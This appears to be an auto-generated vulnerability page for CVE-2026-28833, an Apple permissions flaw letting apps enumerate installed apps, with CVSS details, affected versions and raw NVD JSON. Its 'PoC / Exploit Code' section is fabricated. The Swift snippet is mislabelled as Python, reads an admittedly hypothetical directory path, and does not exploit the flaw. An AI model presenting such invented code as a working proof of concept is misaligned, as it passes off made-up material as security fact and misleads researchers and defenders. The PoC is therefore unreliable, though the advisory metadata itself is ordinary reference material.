Security Vulnerability Report
中文
CVE-2026-28833 CVSS 6.2 MEDIUM

CVE-2026-28833

Published: 2026-03-25 01:17:08
Last Modified: 2026-05-10 14:16:49

Description

A permissions issue was addressed with additional restrictions. This issue is fixed in iOS 26.4 and iPadOS 26.4, macOS Tahoe 26.4, visionOS 26.4. An app may be able to enumerate a user's installed apps.

CVSS Details

CVSS Score
6.2
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:visionos:*:*:*:*:*:*:*:* - VULNERABLE
iOS < 26.4
iPadOS < 26.4
macOS Tahoe < 26.4
visionOS < 26.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import Foundation // PoC Concept: Enumerating installed apps on iOS/macOS // This demonstrates the logic of accessing app list information // due to the permissions issue prior to iOS 26.4. func exploitCVE_2026_28833() { let fileManager = FileManager.default // Hypothetical path where app info might be exposed due to misconfiguration let systemAppsPath = "/var/db/installed_apps/" print("[+] Attempting to enumerate installed applications...") if let enumerator = fileManager.enumerator(atPath: systemAppsPath) { while let element = enumerator.nextObject() as? String { // In a real scenario, this would leak sensitive app bundle IDs print("Found installed app: \(element)") } } else { print("[-] Path not accessible or patched.") } } // Note: Actual exploitation depends on specific OS internals and private APIs.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-28833", "sourceIdentifier": "[email protected]", "published": "2026-03-25T01:17:08.383", "lastModified": "2026-05-10T14:16:48.630", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A permissions issue was addressed with additional restrictions. This issue is fixed in iOS 26.4 and iPadOS 26.4, macOS Tahoe 26.4, visionOS 26.4. An app may be able to enumerate a user's installed apps."}, {"lang": "es", "value": "Se abordó un problema de permisos con restricciones adicionales. Este problema está corregido en iOS 26.4 y iPadOS 26.4, macOS Tahoe 26.4, visionOS 26.4. Una aplicación podría enumerar las aplicaciones instaladas de un usuario."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.5, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.4", "matchCriteriaId": "F813DB63-2B55-4E0B-9073-5465C65F69D6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.4", "matchCriteriaId": "01612D13-BE5B-43F8-B53E-5BF57F2A5B0C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "26.0", "versionEndExcluding": "26.4", "matchCriteriaId": "6CF848CD-25D4-4371-BEF3-1ACCE47AD81F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:visionos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.4", "matchCriteriaId": "113B9705-BFF0-4357-B1AB-F57052F32361"}]}]}], "references": [{"url": "https://support.apple.com/en-us/126792", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/126794", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/126799", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}